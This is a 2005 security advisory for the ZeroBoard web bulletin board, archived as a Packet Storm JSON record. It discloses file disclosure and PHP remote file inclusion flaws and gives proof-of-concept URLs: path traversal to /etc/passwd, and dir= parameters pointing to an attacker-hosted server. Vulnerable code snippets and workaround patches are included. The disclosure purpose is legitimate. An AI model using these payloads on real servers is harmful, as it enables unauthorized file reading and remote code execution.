{"id": "PACKETSTORM:35725", "type": "packetstorm", "bulletinFamily": "exploit", "title": "STG Security Advisory 2005-01-13.25", "description": "", "published": "2005-01-16T00:00:00", "modified": "2005-01-16T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/35725/STG-Security-Advisory-2005-01-13.25.html", "reporter": "STG Security", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:27:02", "viewCount": 10, "enchantments": {"score": {"value": 0.4, "vector": "NONE", "modified": "2016-11-03T10:27:02", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:27:02", "rev": 2}, "vulnersScore": 0.4}, "sourceHref": "https://packetstormsecurity.com/files/download/35725/SSA-20050113-25.txt", "sourceData": "` \n \nSTG Security Advisory: [SSA-20050113-25] ZeroBoard multiple vulnerabilities \n \nRevision 1.1 \nDate Published: 2004-12-31 (KST) \nLast Update: 2005-1-13 \nDisclosed by SSR Team (advisory@stgsecurity.com) \n \nSummary \n======= \nZeroBoard is one of widely used web BBS applications in Korea. However, an \ninput validation flaw can cause malicious attackers to run arbitrary \ncommands with the privilege of the HTTPD process, which is typically run as \nthe nobody user. \n \n \nVulnerability Class \n=================== \nImplementation Error: Input validation flaw \n \nImpact \n====== \nHigh : arbitrary commands execution. \n \nAffected Products \n================ \nZeroBoard 4.1pl5 and prior \n \nVendor Status: NOT FIXED \n======================== \n2004-12-31 Vulnerabilities found. \n2005-01-01 vendor contact, but he didn't replied. \n2005-01-10 STG Security, Inc. customers notified. \n2004-01-13 Official release. \n \nDetails \n======= \nVulnerability 1 : File disclosure vulnerability \n- - - ------------------------------------ \n- - - - Proof of concept \nhttp://[victim]/_head.php?_zb_path=../../../../../etc/passwd%00 \nhttp://[victim]/include/write.php?dir=../../../../../etc/passwd%00 \nhttp://[victim]/outlogin.php?_zb_path=../../../../../etc/passwd%00 \n \n- - - - Environment \nphp.ini: magic_quotes_gpc = off \noutlogin.php is only vulnerable on PHP 5.x. \n \n- - - - Description \nPHP has a feature discarding the input values containing null characters \nwhen magic_quotes_gpc = off \n \n- - - - Part of vulnerable source, _head.php. \n- - - ---- \nif(eregi(\":\\/\\/\",$_zb_path)) $_zb_path=\"\"; \ninclude $_zb_path.\"lib.php\";} \n- - - ---- \n \n- - - - Part of vulnerable source, include/write.php. \n- - - ---- \nif(eregi(\":\\/\\/\",$dir)) $dir=\".\"; \ninclude $dir.\"/write.php\"; \n- - - ---- \n \n- - - - Part of vulnerable source, outlogin.php. \n- - - ---- \nif(eregi(\":\\/\\/\",$_zb_path)) $_zb_path=\"./\"; \n[snip] \n@include $_zb_path.\"_head.php\"; \n- - - ---- \n \nVulnerability 2 : PHP source injection vulnerability \n- - - ------------------------------------ \n- - - - Proof of concept \nhttp://[victim]/include/print_category.php?setup[use_category]=1&dir=http:// \n[attacker]/ \n \n \n- - - - Environment \nphp.ini: register_globals = On, allow_url_fopen = On \n \n- - - - Reason \nUninitialized $dir variable in print_category.php \n \n \n- - - - Part of vulnerable source, include/print_category.php \n- - - ---- \ninclude \"$dir/category_head.php\"; \n- - - ---- \n \nVulnerability 3 : PHP source injection vulnerability \n- - - -------------------------------------- \n- - - - Proof of concept \nhttp://[victim]/skin/zero_vote/login.php? dir=http://[attacker]/ \nhttp://[victim]/skin/zero_vote/setup.php? dir=http://[attacker]/ \nhttp://[victim]/skin/zero_vote/ask_password.php? dir=http://[attacker]/ \nhttp://[victim]/skin/zero_vote/error.php? dir=http://[attacker]/ \n \n- - - - Environment \nphp.ini: allow_url_fopen = On \n \n- - - - Reason \nUninitialized $dir variables in login.php, setup.php, ask_password,php and \nerror.php. \n \n- - - - Part of vulnerable source, skin/zero_vote/login.php \n- - - ---- \n<? include \"$dir/value.php3\"; ?> \n- - - ---- \n \n- - - - Part of vulnerable source, skin/zero_vote/setup.php \n- - - ---- \n<? include \"$dir/value.php3\"; ?> \n- - - ---- \n \n- - - - Part of vulnerable source, skin/zero_vote/ask_password.php \n- - - ---- \n<? include \"$dir/value.php3\"; ?> \n- - - ---- \n \n- - - - Part of vulnerable source, skin/zero_vote/error.php \n- - - ---- \n<? include \"$dir/value.php3\"; ?> \n- - - ---- \n \nWorkaround \n========== \nWithout official patches of these vulnerabilities, modify the vulnerable \nsources as following recommendations. \n \nVulnerability 1: As of zboard 4.1pl5 \n- - - ---------------------------- \nModify the 13rd line of _head.php as following: \nif ( eregi(\":\\/\\/\",$_zb_path) || eregi(\"\\.\\.\",$_zb_path)) $_zb_path=\"\"; \n \nModify the 16th line of include/write.php as following: \nif( eregi(\":\\/\\/\",$dir) || eregi(\"\\.\\.\",$dir)) $dir=\".\"; \n \nModify the 50th line of outlogin.php as following: \nif ( eregi(\":\\/\\/\",$_zb_path) || eregi(\"\\.\\.\",$_zb_path)) $_zb_path=\"./\"; \n \nVulnerability 2: As of zboard 4.1pl5 \n- - - ---------------------------- \nInsert the following code at the 3rd line of include/print_category.php, \nif( eregi(\":\\/\\/\",$dir) || eregi(\"\\.\\.\",$dir)) $dir=\".\"; \n \n \nVulnerability 3: As of zboard 4.1pl5 \n- - - ---------------------------- \nModify the 1st line of skin/zero_vote/login.php, the 42nd line of \nskin/zero_vote/setup.php, the 1st line of skin/zero_vote/ask_password.php, \nand the 1st line of skin/zero_vote/error.php as following: \n \n<? if(eregi(\":\\/\\/\",$dir) || eregi(\"\\.\\.\",$dir)) $dir=\".\"; include \n\"$dir/value.php3\"; ?> \n \nCredits \n====== \nJeremy Bae at STG Security for Vulnerability 1 and 2. \nA Korean security community member for Vulnerability 3 which has been \nunofficially released since March 2004. \n \n`\n", "immutableFields": []}

{}